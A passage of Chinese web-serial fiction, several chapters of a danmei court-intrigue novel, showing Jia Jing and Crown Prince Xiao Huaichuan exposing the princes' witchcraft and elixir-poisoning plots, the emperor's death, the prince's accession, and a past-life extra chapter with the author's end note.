“哟,好了?” 贾敬撑着下巴看着程一序,总觉得他刚刚问话的语气,掺杂着调侃。 而程一序这边刚坐下,方海峰就进来了,屋内瞬间安静下来。 贾敬眨了眨眼,方大人果然还是那么生人勿近,气场十足。 方海峰抬眼就看见了贾敬,径直走过去,垂眼看到贾敬桌案上放着的书册,随手拿起一本翻看了起来。 渐渐地,他的目光变得认真。 “嗯,接着整理。” 一直到方海峰翻完贾敬所有的书册,丢下这么一句话,才去了旁边。 贾敬看着方海峰的背影,转头看向薛琼几人,“他近日遇见什么喜事了?感觉心情很不错啊。” 宋子虚诧异地看着贾敬,“这你都看出来了?” 贾敬:“嗯?真有喜事?” “说来听听。” 宋子虚沉吟了片刻,“也不算什么喜事……” “还记得那位和方大人不对付的赵侍讲吗?” “他半月前调任去了工部。” 程一序懒洋洋翻着面前的书册,“看不见讨厌的人,也算是喜事一桩了。” 贾敬微眯的眼眸闪了闪,“工部啊……” 宋子虚撇了撇嘴,小声嘀咕,“还不是巴结上了工部的上官” 薛琼微微勾唇,“他不在翰林院,也挺好。” 在翰林院当值两月有余,大家自然也看清楚了,哪些人在翰林院是用心当值的,比如,方大人,比如三位老典籍。 至于曾经那位赵侍讲,就不合适。 薛琼等人和贾敬说了许多近日发生的事情,他们也非常识趣,避开了一切与太子萧淮川相关的话题,闭口不谈。 下值后,贾敬忽然叫住了程一序。 程一序疑惑看着贾敬,“怎么了?” “我找阿玦有事,现在要去接他下学吗?” 程一序眼神有些复杂地望着贾敬,“国子监这时候早下学了。” “嗯?是吗?”贾敬眼神飘向别处,掩盖尴尬。 他在国子监读书都是上辈子的事情了,至于贾政,他们到底隔了一府,具体情况也不是很清楚。 “走吧。” 当贾敬跟着程一序回家后,来开门的是贾敬先前见过、做饭很好吃的李嬷嬷。 只是她看到贾敬时脸上忽然闪过了一抹慌张,稍纵即逝。 贾敬眼底划过一抹沉思。 李嬷嬷迎着二人进去,眼神若有若无地看向程一序,“玦哥儿洗澡呢。” 程一序嗯了一声,转眸对贾敬道,“眼下日头下去了,凉亭还算舒适,你随我去那边喝杯茶吧。” 贾敬压下心底的怪异,随程一序去了凉亭。 茶确实是好茶,散了几分暑气。 程一序随口问着,“你寻阿玦何事?” 贾敬掠了他一眼,“等阿玦来了,你不就知道了?” 一盏茶的功夫,皇甫玦来了。 看到皇甫玦的那一瞬间,贾敬知晓那抹怪异的原因了。 皇甫玦身上丝毫没有洗完澡带着的水汽,脸上甚至还沾了一块灰尘。 刚刚李嬷嬷那番话,是说谎。 贾敬只当没发觉这一切,从袖中掏出一个瓷瓶,递给了皇甫玦。 皇甫玦接过,有些好奇,“这是什么?” 贾敬颔首,“你打开看看。” 皇甫玦打开瓶盖,一股刺鼻的味道瞬间溢出,他凑近嗅了嗅,眉头拧起。 程一序伸手拿过那瓶子,也闻了闻,随后看向贾敬,等着他揭秘。 贾敬:“这是提炼的一种树油,比较粘,还很容易风干。” 话说到这一步,皇甫玦忽然明悟,他惊喜地睁大眼睛,“这个是不是可以混在墨里!” 贾敬笑了笑,“我没试过,阿玦可以试试。” 皇甫玦瞬间坐不住了,从程一序手中一把拿过瓶子,就跑得不见人影。 “走吧,跟去看看。” 程一序起身,贾敬也跟上。 “啊!成功了!” 皇甫玦小心揭下印刷木版,看着印刷出来的结果,开心地蹦了起来。 “培元哥哥,你真好!” 皇甫玦瞧着就要跳到贾敬身上时,程一序脸色微变,手臂一伸,揽住了皇甫玦。 “瞧你身上脏得跟泥猴一样。” 皇甫玦讪讪一笑,又瞪了程一序一眼。 “培元哥哥,你这树油……”皇甫玦满眼希冀地看着贾敬,“还有多少啊?” 贾敬挑眉,扬了扬下巴,“就这么多了。” “啊……”皇甫玦语气急了几分,“是什么树?我可以派人去找,去提炼。” 贾敬刚要说什么,目光忽的瞥见旁边印好的一册书,眼神旋即顿住。 只因那书册封面上的落款——佩云斋。 当翻开出册,看着上面标注的错印修改,贾敬可以确定,这是一本样书。 贾敬又想起皇甫玦之前说过的愿望和目的,转眼盯着皇甫玦,语气肯定, “翰墨轩是你开的?” 皇甫玦没想到贾敬会冒出这么一句,有些诧异,也有些无措,下意识看向程一序。 程一序面不改色,直接点头,“是,翰墨轩背后的东家,确实是阿玦。” 贾敬指了指落款的“佩云斋”,“这位佩云斋,也是你们浮白书院的大儒?” 其实贾敬还有另外一个猜测,佩云斋应当不是一个人,只是一个化名。按照他们对历年科举考题的深刻了解,背后应当是浮白书院的一群教习。 谁知皇甫玦却摇了摇头,“他们不是浮白书院的人。” “居然不是……” 皇甫玦看着贾敬诧异的神情,嘴角咧开一个笑意,“培元哥哥也觉得他们很厉害是不是?” 语气很是得意和骄傲,看来皇甫玦和“佩云斋”很熟悉。 只是皇甫玦依旧没有说出“佩云斋”的真实身份,贾敬也没再追问。 “阿玦,我们谈个合作如何?”贾敬手指在印刷木版上轻轻点着。 皇甫玦有些懵,“什么?” …… 贾敬是用完晚饭才离去,当穿过一处游廊时,他眼睛无意朝院落一处扫过,顿住,再定睛一瞧。 “你在看什么?” 程一序的声音在贾敬身后响起,视线也顺着贾敬的目光看去。 贾敬抬了抬下巴,“刚刚看见那有草在动,你们家养猫了?” “没有,或许是野猫吧。” 贾敬了然点头,朝程一序摆手,“不必送了。” 一直到上了马车,贾敬还在想着他刚刚看见的东西。 程一序和皇甫玦的住处,为什么会有女孩子的裙子? 那布料在光下反射出的微光,是茜罗国产的云骆纱,一匹要一百两左右,绝不是下人所穿的。观那裙子长度,衣服的主人身量应该也不是很高。 大概和皇甫玦差不多高…… 阿玦? 第115章 贾敬回府就撞见了晚上溜院子的史云棠, 她朝贾敬笑了笑, “终于回来了?某人等你好久了。” 虽然已经在史云棠面前摊了牌,但史云棠的调侃还是让贾敬有些脸热, 脚下步子也快了许多。 一推开门,腰就被人紧紧搂住,温热的气息从耳后袭来, 贾敬颤了颤。 他连忙偏了偏头, “别闹, 我们先说正事。” 萧淮川轻笑一声, 依旧没有松开贾敬的腰,而是手臂一个用力,直接将他抱到了软榻上。 贾敬就坐在萧淮川的腿上, 搁着浅薄布料传来滚滚热度, 贾敬像是被烫到一般。 “好热……” 贾敬推了推和自己紧挨着的萧淮川。 萧淮川有些不轻愿地松手,贾敬顺势朝旁边挪了挪,拉开了两人的距离。 没那道气息环绕,贾敬才稍稍松了口气。 萧淮川一只手撑在榻上, 一只手卷起了贾敬垂落的发丝,“阿元今日怎么回得这般迟?” 贾敬就将今日下值后去找皇甫玦的事情说了, 包括皇甫玦是翰墨轩背后的东家一事。 “我和阿玦谈了个合作, 我这里供应印刷所需要的树油, 翰墨轩我要入资。” 萧淮川:“阿元看上了翰墨轩的生意?他这个书肆在京城确实闯出了名声。” “生意好是一方面, 另一方面是……”贾敬抿了抿唇, 定定地看着萧淮川, “翰墨轩不仅是售卖书籍, 他们背后还自制自印书籍, 而皇甫玦年纪虽小, 却能全权负责此事。” 萧淮川眼皮微微一挑,“你是想……” “对,我想要将文淑皇后的手稿出版,由翰墨轩来做,最合适不过。” 萧淮川微微张着嘴,似乎是想要说些什么,却不知从何开口。 平日那双深邃的凤眸像是被风吹过的水面,卷起了片片涟漪。 “你还记得这件事。” 萧淮川终究是开了口,声音里掺杂着一丝不易察觉的颤抖,像是在压抑着什么。 他不仅记得,还为此付出了行动。 贾敬的桃花眼弯弯,“淮哥说过的事,我自然记得。” “文淑皇后的心血,也不应当就此尘蒙。” “若不是造化弄人,早该问世,永世流传了。” 萧淮川的心头涌上了一道难以言喻的复杂情绪,宛如温泉浇灌,温柔,舒适,令人沉沦。 他缓缓地抬起手,轻轻托起贾敬的脸,指腹轻轻摩挲,目光灼热。 贾敬手指下意识扯住袖子,攥紧,呼吸轻了几分。 他是要…… 萧淮川直勾勾地看着贾敬,看了许久,忽的,他一个前倾,将贾敬一把抱住。 贾敬耳朵边传来一阵阵“砰砰”声,那是萧淮川胸膛里跳着的心,贾敬伸出手,轻轻地拍了拍萧淮川的背。 “阿元,我们动手吧。” 萧淮川声音很轻,轻的只在贾敬耳边响起。 贾敬先是一愣,随后目光紧张地看向萧淮川,“现在?这么快吗?” 若是按照原来,是要到年底宫宴的,如今才七月。 “都准备好了吗?”贾敬有些担忧。 萧淮川郑重地点头,“嗯,万事俱备,只欠东风了。” “他信了老三找来的那名道士,已经连续吃丹药一月有余了。” “我们不需要再等了。” 贾敬眼眸颤了颤,他比谁都清楚那些丹药是什么。只是没想到,天丰帝那般轻易的相信了萧淮泽找来的道士。 “今早水青还给我传递了一个消息。”萧淮川说着,嘴角露出了一抹玩味的笑意。 “什么消息?” 萧淮川:“老二的王妃,怀孕了。” 贾敬愣了愣,脱口而出,“他、他不是天阉吗?” 但话出口,贾敬又觉得不对,上一世,萧淮洵的王妃也有过身孕,还生下一位嫡子,也就是未来的忠顺王世子。 只是眼下,时间对不上,提前了。 “这个孩子是他的吗?他知道吗?”贾敬面露纠结,真的会有人自己愿意戴绿帽子吗? “谁知道呢?”萧淮川意味不明吐了一句,“不过听水青所说,老二还想将此事上奏。” “要论,这可是圣上第一个孙辈,少不得龙心大悦,刚好也能遮掩一下他好男风一事。” 贾敬撇了撇嘴,这血统还不知道是不是他们老萧家的种呢。 “淮哥刚刚说欠东风,这东风是什么?” 萧淮川朝窗外看去,“夏日多雷雨,已经好久没下雨了。” “我们等一场雷雨吧。” · 这日早朝,朝堂上的诸位臣工们都明显注意到,天丰帝心情愉悦,很快,他们就知道了原因。 齐王妃身怀有孕了! 满朝臣工在恭贺完天丰帝后,有些人就按捺不住了。 “圣上,齐王殿下作为弟弟都已经有了子嗣,太子殿下却还未迎娶太子妃,这恐怕不妥。” 天丰帝点头,“齐王,东宫修葺一事如何了?” 按照他的安排,待东宫修葺好后,东宫就能迎来新的女主人了,刚巧这几日太后也在他面前念叨,不若就此定下。 萧淮洵恭敬出列,“回父皇,已经完成大半,待八月就能彻底竣工了。” “只是这几日正值雷雨时节,可能会慢些。”话不能说的太满,萧淮洵补充了一句。 “无妨,一切就按……” “轰隆!” 天丰帝话未说完,外面一道惊天雷声响起。 紧接着一个小太监慌慌张张出现在殿门,向御前的陈总管耳语几句,陈总管脸色一变,旋即向天丰帝禀告。 天丰帝眼眸一沉,“去看看。” 他走下台阶,路过几位儿子时,“你们跟上,其余大臣,退朝。” 萧淮川面色如常,萧淮洵和萧淮泽对视一眼,跟在萧淮川身后。 其余大臣议论纷纷。 “到底发生了什么事?” “不知道啊,感觉是大事。” “诶,那边怎么在冒黑烟啊!” “莫非是刚刚那道天雷?那是东宫的方位吧!” 当天丰帝匆匆带着一行人来到东宫,被雷击中的火已然被熄灭,只留下一片片烧灼木头留下的黑色残迹。 萧淮洵瞪大着眼睛,望着刚建好的主殿被雷劈了,难以置信。 “怎么会……这么巧……”萧淮洵喃喃自语,声音中透着难以掩饰的惶恐。 萧淮泽则是不动声色,目光悄然看向萧淮川,心中无端生起了一丝不祥的预感。 不,不对劲,定是有什么蹊跷。 如果仅仅只是宫殿遭遇了雷击,天丰帝的脸色绝不会那么难看,一定是出了什么事情,只是他们还不清楚。 下一瞬,一个小太监颤颤巍巍呈着一个托盘,哆哆嗦嗦地跪倒在天丰帝面前。 天丰帝目光死死盯着,仿佛要将那上面的遮布盯穿,其余人的目光也不由自主地聚集过来。 “陈林,掀开。”那几个字,像是天丰帝从牙缝里挤出来一般。 陈总管忙不迭伸手,将上面的遮布掀开——一个白黑色的物件渐渐露了出来。 白布扎成了布娃娃,上面沾染了木头灼烧的黑色,红色血迹写着一个生辰八字,其上扎满了密密麻麻的银针,诡异、邪祟。 陈总管手明显的一抖,那是…… 巫蛊之术! 天丰帝此时的面容狰狞,脸颊两边的肉控制不住的抽搐,眼珠泛着刺目的红,好似要从眼眶里掉出来了。 “呵。” 天丰帝冷笑一声,令在场众人毛骨悚然。 他死死盯着那巫蛊娃娃身上隐约浮现的生辰八字,没人比他更清楚,那是谁的生辰八字。 天丰帝猛地抓起巫蛊娃娃,狠狠朝地上砸去。 正好砸在萧淮川、萧淮洵和萧淮泽三人的面前。 “圣上息怒!” 众人跪了一地。 巫蛊娃娃是布所做,没有多少重量,可就这轻飘飘的小布偶人,却砸在了众人的心里。 萧淮洵下意识就朝萧淮泽看去,萧淮泽却低着头,萧淮洵怕天丰帝察觉,也跟着低下头。 这娃娃确实先前就已经藏在了东宫正殿房梁之上,却没想到,居然引来了天雷,提前暴露了! 天丰帝猩红的眼睛盯着面前三个年轻气壮的儿子,呼吸粗重,怒不可遏。 “当真是朕的好儿子啊,这就等不及了?”他的声音带着丝丝杀意。 “父皇冤枉啊!儿臣岂敢做这样的事情!还请父皇明鉴!” 最先求饶的正是梁王萧淮泽。 萧淮洵在一旁听着,脸色煞白,心中暗骂萧淮泽此时甩锅,面上也只能硬着头皮,按照他们之前谋划的说辞, “父皇明鉴,此事出在东宫,儿臣也不清楚啊!” 天丰帝对这两位儿子的话,不为所动,目光如电般扫过二人,最后落在萧淮川身上,声音如冰一般,“太子,你可有话说。” 萧淮川背脊直挺,“相信父皇早已看出这是陷害,谁会蠢到在自己住处放这些?” “阖宫上下这么大,哪里不能放?” “再说东宫,这些日东宫修缮,正殿正是大修之处,儿臣早搬至偏殿,不曾靠近。” “倒是二弟,”萧淮川说着,目光毫不避让地看向萧淮洵,“东宫这些日,进进出出可都是你工部的人呐。” “父皇!儿臣冤枉!”萧淮洵匍匐在地,“父皇明鉴啊!” 天丰帝一言不发,只是阴恻恻地看着面前三人,甩袖转身。 “陈林,命人看着他们。” 萧淮川垂着眼,天丰帝的做法他丝毫不意外。天丰帝不相信任何人,只相信他自己。 只需要将那些证据递到他面前。【你现在阅读的是 】 【正文完】 第116章 没到一个时辰, 天丰帝就已然查出了他想要的证据。 萧淮川三人是分开被看守,到了天丰帝的宫殿前,才再次碰面。 三人齐齐跪着, 皆低着脑袋,谁也不知道其余两人在想什么。 “看看吧。” 天丰帝一个折子丢在了萧淮洵的面前,萧淮洵被吓得浑身一抖, 他慌乱捡起那折子, 当看到内容后, 直接瘫软在地。 那里面是他让王定取来巫蛊娃娃, 又放于东宫之上的证据! 可那巫蛊娃娃明明是萧淮泽从苗疆弄来的…… 萧淮洵瞳孔猛然一缩,萧淮泽是故意的! 他这才反应过来,是萧淮泽故意给他挖了一个坑, 就等着事情败露, 推自己出去顶事,把他摘出去。 “父皇!求父皇明鉴,儿臣也是被人所欺骗!” 萧淮洵猛地朝前一扑,目眦欲裂, 手指着旁边的萧淮泽,“父皇, 都是他胁迫儿臣所为!” “是他!是他要诅咒父皇, 也是他要陷害太子!” 巫蛊之祸的名头一旦落下, 绝对是死路一条, 既然如此, 萧淮洵也不管不顾了, 开始攀咬起萧淮泽。 萧淮泽一脸难以置信地望着萧淮洵, “二哥, 你怎么能这样诬陷我!” “我对这件事, 一无所知!” 萧淮洵看着萧淮泽一脸无辜,只觉得恶心,他忽的又想起什么,像是邀功一般, “父皇!你近日宠幸的那位道长,也是萧淮泽找来的,您日日所服金丹,也掺杂了毒,切勿被他蒙蔽啊!” 天丰帝瞪大了双眼,忽的口中喷出一口鲜血。 “圣上!”陈总管吓得立刻扶住天丰帝,“快传太医!” 这口血喷出,天丰帝也意识到这一月来是被那妖道蒙蔽,看向萧淮泽的眼底带着杀意, “你好大的胆子!竟敢在朕的药中下毒!” 萧淮泽满脸惶恐之色,“父皇!儿臣是冤枉的!这都是无稽之谈!” 说完重重磕下几个头。 萧淮洵冷笑,“你以为我没有证据吗?” 萧淮泽防着他,他又岂会不防着萧淮泽?那证据他还随身携带了,正是萧淮泽与那妖道沟通的亲笔书信! 天丰帝看着书信内容,气的浑身颤抖。 萧淮泽质问萧淮洵,“你怎么会有这个东西!” 萧淮洵不知想到了什么,脸上闪过苦涩、羞愤、癫狂等一众神情,他郑重地朝天丰帝磕了一个头,再次抬起头时,已是泪流满面。 “父皇!儿臣不孝啊!”他声音凄厉。 天丰帝面容冷酷,冷冷望着。 萧淮洵声音哽咽,“儿臣有一个秘密藏了十多年,未敢让父皇知晓。” “儿臣是天阉啊!” 天丰帝对萧淮洵来的这么一出,当场懵住,“你说什么?” “你那王妃不还怀孕了?” 萧淮洵径直指向萧淮泽,满眼的妒意和羞愤,“是他!” “是他不顾人伦,和严氏媾和!” “这封信,也是他随身携带,在儿臣府中和严氏欢好时,不慎落下,被儿臣捡到!” 这件奸情被萧淮洵亲手捅破,萧淮泽也不狡辩了,直接骂道: “分明是你自己不举,好男风,想在父皇面前遮掩,才逼迫严氏勾引的我!” “哈哈哈哈。”萧淮洵大笑出声,“我逼迫严氏?” “若不是你看上了严氏其父大理寺卿严峰,严氏能勾引成功?” 萧淮川在一旁看着两人互相揭短,狗咬狗,心里却想着:阿元不在这儿,错过了一出好戏。 还真有人可以自己给自己戴绿帽子。 此时已经攀扯出了朝廷命官,天丰帝本就面沉如水的脸已然黑透。 萧淮川顺势呈上,“这是儿臣在整理户部陈年旧账,查出来的一些东西,请父皇过目。” 陈总管接过,旋即递到了天丰帝手中,天丰帝一目十行。 “好啊!” “勾结大理寺严峰!”天丰帝本意是想让他们二人互相牵制,却没想到,萧淮泽居然和皇嫂严氏苟且,还怀了孽种! “肆意插手吏部官员升迁考核调动,何清收了你这么多赃款!” “你还敢哄骗太后,拉拢张家!” 一桩桩一件件,在天丰帝眼里触目惊心,在他所不知道的地方,他这位毫不起眼的三儿子,居然已经插手了这么多的事务,拉拢了这么多人! “怪不得,怪不得!” 怪不得敢用巫蛊之术陷害太子,怪不得敢让妖道来欺骗他,用金丹给他下毒! 手竟然伸得如此深! 天丰帝看萧淮泽的眼神,宛如看一个死人。 萧淮泽早已经是瘫倒在地。 “来人!萧淮泽谋逆弑君,在宫中大行巫蛊之术,在朝中结党营私,将他压入天牢!” “萧淮洵助纣为虐,褫夺爵位,圈禁皇陵,永世不得赦免!” “涉及此案人员,立刻派人逮捕,捉拿归案!” …… 巫蛊之案,谋逆弑君、结党营私,这一桩桩事,让朝堂臣工经历了接连半月的清洗,抄家灭族、流放贬谪的官员不尽其数,人人自危。 而天丰帝也因此事打击过大,外加那金丹里掺着的毒,病重倒下,就算偶尔撑着,精神也大不如前。 国不可一日无君,请太子监国的奏折将天丰帝的案前堆满。 “啪!” 天丰帝将桌案上的奏折一把掀翻在地,手颤抖着,“薛阁老、李阁老的奏请……这些老家伙……” “保龄侯史进……他也是你的人?” “四王八公……还有这些清流官员,背后是贺家!你居然和贺家勾连上了!” 天丰帝瘫在龙椅上,浑身泛着冷,像是被泡在冰水里一般,不能动弹。 “贺家如何?”萧淮川冷眼,“那是母后和其母家该有的尊荣。” 天丰帝仅仅那双眼睛还能动,他正死死盯着案前站着的萧淮川,他嘶吼着,“这一切都是你安排的!” “巫蛊娃娃是萧淮洵放的,金丹的毒是萧淮泽下的,结党营私的也是萧淮泽。”萧淮川语气平淡。 “可这一切,是你故意给他们希望,误导了他们!”天丰帝大喘着气。 萧淮川垂眼,眼神冷漠,“螳螂捕蝉,黄雀在后,这一招,是你最擅长的。” “你其实不在乎是谁弄得巫蛊之术,若是能借此将我废了,更好,再不济也要好好打压我一番。” “只是你没想到,你一直看不上的萧淮泽私下里拉拢了那么多势力,还给你下了毒。” 天丰帝扯了扯嘴角:“所以你将这一切都查出来,又故意摆在朕的面前!” “就是要借朕的手,把你这些弟弟全部拔干净!” 萧淮川哂笑,“你若没有那么多疑心,又怎么会上钩呢?” “神宫监的掌印太监王定,众人皆以为他是萧淮洵的人,受贤妃恩惠。” “他是你的人吧。” 天丰帝一愣,旋即脸上浮现出一抹诡异的笑,“这你都知道?” 他像是想到了什么,“你身边的那个小太监背叛朕!” “他竟敢背叛朕!” 萧淮川抬了抬手,帐后走出一人,正是东宫太监总管,忍冬。 天丰帝见到人变得激动,“你竟敢背叛朕!” 忍冬此时面无表情,和往日笑脸迎人大相径庭。 “奴婢没得选,您用奴婢一家老小作要挟,让奴婢做了圣上您的眼线。” “殿下愿意给奴婢改过的机会,奴婢就是当牛做马,也会誓死效忠!” 天丰帝:“不!你应该效忠的是朕!” “这天下都该是朕的!都得听朕的!” 他忽的开始大笑,笑着笑着,嘴角竟然有血流出,没一会儿,他开始全身抽搐,渐渐不动,软了身子,从龙椅上滑落,宛如一条死狗。 萧淮川对天丰帝只觉得厌恶,他撇开眼,转身离去。 忍冬跟在身后,大声唱和: “圣上驾崩!” · 天丰二十三年七月,天丰帝驾崩,储君萧淮川继位,年号定为永元,史称永元帝。 御书房内。 “永元……”贾敬手指划过纸张上的字,默念着萧淮川定的这个年号,“那我还得避讳了。” “不用避讳。”萧淮川拥着贾敬,“年号永元,正是阿元的元。” 也意为永远。 贾敬转身,看着萧淮川这一身帝王衮服,怔怔发呆,眼眶也不由得反酸发涩。 “阿元,怎么了?”萧淮川手指放于贾敬发红的眼尾,瞬间感受到一阵湿意。 阿元,哭了? 贾敬直直地望着萧淮川的脸,像是要把他此时的模样记在眼里,刻在心里。 可眼眶涌出的泪却模糊了他的视线。 “我、我高兴。”贾敬哽咽着,“真好。” 一切都像梦一样。 兄长还活着。 他进士及第后,在翰林院好好当值。 而眼前人,亦好好地站在他的面前。 他们十指相扣,未来还有几十年相伴。 【作者有话要说】 啊啊啊啊正文完结啦!至于后续还有一些没有埋的坑,番外会填上的!前世番外也会有的! 下一辈宝黛钗的番外也会有,到时候算福利番外送给大家! 感谢小伙伴们的支持呀,在晋江的第一本完本就这么结束了,感谢!!【你现在阅读的是 】 番外 第117章 番外 前尘一梦—后续 “哟, 这不是忍冬公公吗?这疾步匆匆准备去哪儿啊?” 忍冬刚出东宫没一会儿,就听见一道阴阳怪气的声音,他只得顿住脚步, 捏着拂尘的手青筋凸起。 他转过身,皮笑肉不笑地招呼了一声:“这不是王掌印吗?” 忍冬的目光在神宫监掌印太监王定身后那一群太监和侍卫身上转了一圈,又回到了王定身上。 王定脸上似笑非笑, “忍冬公公, 这大晚上, 您这是要去哪儿啊?” “太子殿下如今因为巫蛊之术被囚东宫呢。” 忍冬横了王定一眼, “你也知殿下如今还是储君。” 他昂着下巴,“殿下不舒服,咱家为殿下去请太医。” 忍冬说完刚抬步, 只见王定一个眼神, 身后立刻出现三人堵住了忍冬的路。 王定讥笑,“圣上可是说了,东宫连只蚊子都不能放出去。” 忍冬咬着牙,恨恨地望着王定, 冷声啐了一口,“圣上何时说过?你竟然敢假传圣旨!” 王定眯起眼, 语气有些阴森, “忍冬, 别在东宫待久了, 你就忘了, 你的主子到底是谁!” “这做事情啊, 要拎得清。”王定颐指气使地敲打着忍冬。 忍冬脸色骤然变得难看, “你……” 王定笑出了声, 伸手拍了拍忍冬的肩膀, “都是自己人,咱家不与你计较,还有要事要办。” “走,跟咱家去东宫一趟吧。” 忍冬拧起眉,追问,“你去东宫做什么?” 王定瞥了忍冬一眼,没说话,直接朝东宫走去。 忍冬咬了咬牙,无法只好跟上。 越临近东宫,忍冬的神色愈发紧张,他好似猜到了什么,又念及先前太子殿下交代他的事情,不免心头一身发慌。 王定忽的转过头,阴恻恻笑道:“忍冬公公,请吧。” 忍冬面无表情,率先踏入了东宫。 门边守着两个小太监,见忍冬带着一帮太监进来,显然吓得不轻,刚要朝里通报,被王定的人一把摁住。 两个小太监吓得挣扎,其中一个很快挣脱,王定抬抬手,手下的人又将人捉了回来。 这混乱的场面也让王定没有注意到忍冬朝角落里一个扫地的小太监使了眼色。 那只是个小插曲,王定到了东宫后,就在不停地找他来此的目的——萧淮川。 找了一圈又一圈,始终没看见萧淮川的人影。 王定脸色铁青,猛地转头看向忍冬,“太子人呢!” 忍冬看似漫不经心地理着手中的拂尘,“咱家哪里知道主子的行踪,况且咱家也出去好长时间了,这不半道上跟着王公公你一起回来的吗?” 王定气得脸皮抖动,出口的话很是肯定,“是你通风报信!” 他话刚落,他身后的人就立刻将忍冬拿下。 “说!太子藏在哪里了!” 王定狠狠地踹了忍冬一脚,忍冬闷哼一声,却什么也没说,王定对着忍冬又是拳打脚踢。 过了好一段时间,王定才反应过来,忍冬是故意在这里拖延时间! “你还记得谁是你的主子!你是要背叛圣上吗!你不顾你的家人了吗!” 忍冬满脸血污,算了算时辰,看着王定笑了,“我比谁都知道,我的主子是谁……” 至于家人,他早已经没有家人了,死在了饥荒里,只是他一直被蒙骗而已。 忍冬的态度激怒了王定,他从一旁抽出一柄剑,直直捅入忍冬的心口,鲜血瞬间浸湿忍冬的衣袍。 王定又用力捅了捅,眼神癫狂又得意,“你就下去陪你的好主子吧!” 忍冬无力倒在血泊中,鲜血很快将地面染红。 “给咱家搜!咱家就不信,他能飞出这宫里!” 王定等人声音和脚步声越来越远,忍冬的视线也是昏暗一片,他脑海里想起先前萧淮川交代他的话。 “他已经知晓孤对阿元的感情。” 忍冬眼皮一跳,他自然知道萧淮川口中的他是指天丰帝,面露焦急,“怎么会……” 萧淮川眼神是少见的阴翳,“你身边跟着的那批人里,上次没处理干净,有一个漏网之鱼。” 忍冬瞬间知道萧淮川说的是谁,那小太监还是他一手提拔上来,跟在萧淮川身后伺候着,当即悔断了肠,“都是奴婢的错,奴婢该死!” 萧淮川摆手打断,“这事不怪你,是他老谋深算多年。” 那日他们派人给萧淮川下药,想要让萧淮川胡乱睡几个宫人,传出秽乱的名声。 可谁知,萧淮川竟然硬生生扛了过去。 可也是他自己对阿元情难自禁,这才在那晚情迷,无意间喊出了阿元的名字,清晨沾了秽物的锦被让忍冬处理时又被那小太监听见。 “如今孤担忧阿元的安危,所以,忍冬你尽快出宫,去天珍阁传话,就说孤来兑现一个承诺。” 萧淮川的神情此时很是复杂,似凝重似平静,“希望贺家以后帮孤护着一个人。” 这话一出,忍冬脸色煞白,他听出了萧淮川话中的意思,忍不住哀求,“殿下,二爷可指望您护着呢。” 萧淮川垂眼,“他不容我许久,这次巫蛊事件,看着不是他的手笔,但你真的以为,他不知道吗?” 要说天丰帝现在的肉中钉,眼中刺,莫过于这位长成的太子储君。 忍冬还想再说什么,萧淮川拍了拍他的肩膀,“不到万不得已,孤不会……” “快去吧,贺家愿不愿意帮孤,还看你这句话,能不能带到了。” “对了,你有时间再去宁国府一趟,转告阿元,无论何时,他都不得进宫!更不要打探孤的事情!” 可忍冬没想到,天丰帝手下的这群人来的这么快,当场撞了个正着。 又想起萧淮川对他说的话,以及他自己对天丰帝的了解,知道王定此次前来目的不纯。 因此忍冬故意激怒王定,也是为了让那小太监赶紧向萧淮川禀告,拖延时间。 忍冬的苦心到底传到了萧淮川这里。 萧淮川接到小太监通报时,刚要对一旁暗卫说什么时,忽的听到了一声轻声呼唤,让萧淮川瞬间僵住,寒意从脚底升起。 “淮哥……” 萧淮川猛地朝声音传来的方向看去,看见朝门口悄悄挪进来的贾敬,心沉到了冰底。 中计了! 阿元此时出现在这里,定是有人引诱来此! 不然依照现在的东宫和皇宫的戒备,贾敬不可能进得来,除非背后有人故意放水,让他进来! 王定及其他人就要来了!要是在这里被他抓住,那么阿元…… 萧淮川瞬间想到了天丰帝的目的。 他知道了自己对阿元的感情,刚好有次软肋要挟,至于是感情之事,自然是当场捉见,最是稳妥。 不,阿元不能在这里被他们发现! 萧淮川听着屋外渐渐临近的脚步声,当机立断,让暗卫带着贾敬藏起来。 “唔……” 贾敬被暗卫一把捂住嘴,萧淮川对上贾敬慌乱恐惧的眼神,露出了一抹安抚的笑,眼底却是化不开的悲伤。 暗卫禁锢着贾敬躲进了旁边的柜子中,柜门紧紧关上。 下一瞬,房门被人狠狠踹开! 被暗卫捂着嘴的贾敬闻声一愣,旋即也发现了不对劲,顿住了挣扎。 柜子里黑暗一片,贾敬看不见,但他听见: “哟,原来太子殿下在这儿,真让咱家好找。” “太子殿下,圣上关心您,特地让奴婢送来了仙丹。” “这可是能够延年益寿,包治百病的仙丹!” “您就服下吧……” 贾敬透过那木柜仅留下的一点点缝隙,看着外面。 萧淮川被迫吞了丹,倒下。 嘴巴、鼻腔……七窍生血。 他面朝着柜子的放心,嘴角勾起了一抹浅浅的笑。 他一朝身死,天丰帝得偿所愿,只要暗卫护着阿元离开,阿元就能好好活着。 这是他最后一次护着阿元,要好好活着。 可惜,他的心意,阿元不会知晓了。 幸好,阿元不知道。 王定大笑出声,“去禀告圣上,太子沉迷于丹药,不幸薨逝!” 黑暗中的贾敬目睹着一切,眼眶的泪瞬间涌出,模糊了视线。 “淮哥!” “阿元,阿元,醒醒!” 贾敬猛地惊醒,涣散的眼神里满是惊恐。 萧淮川见陷入梦魇的贾敬被自己唤醒,立刻将他揽入怀中,轻声拍着, “阿元,别怕,淮哥在呢。” “别怕啊!” 屋外的雨敲得瓦当叮咚作响,贾敬也心乱如麻,他浑身打着冷颤,一时分不清前尘现世。 但他知道,身边温暖的热源可以安他的心,他不断往那热意挤过去,紧紧箍着萧淮川的腰,喃喃道: “淮哥,淮哥……” “我在呢,阿元别怕。” 萧淮川的大掌轻轻抚摸着贾敬剧烈欺负的背脊,他能感受到阿元此时剧烈起伏的情绪。 贾敬粗喘着气,目光微微聚拢,怔怔盯着龙床帐顶上的五爪金龙纹。 那是帝王的象征。 萧淮川还活着,他如今是大乾的九五至尊。 和上一世,不一样了。 贾敬指甲紧紧扣着萧淮川的劲腰,喉间溢出一声呜咽。 若是刚刚那场梦是前世,那么贾敬也终于明白上一世萧淮川为何那般做。 他死,是为了自己活。 怎么可以……怎么可以这么做! 没有他,活着也是行尸走肉。 可自己又怎么能怨他呢? 他在用生命护着他。 贾敬心中的悲恸、酸涩,以及这一世能够重来的庆幸全部交缠在了一起,挤在他的心里,堵得严严实实,压得他难受,他想要一个宣泄口。 他难受得浑身颤抖,萧淮川垂下头,担忧地望着贾敬, “阿元,怎么了?” “是哪里难受吗,我让忍冬去传太医……”萧淮川话未说完,就被贾敬一把勾住了脖子,贾敬昂着头,狠狠咬住萧淮川的唇瓣,他急促,他横冲直撞,没有章法。 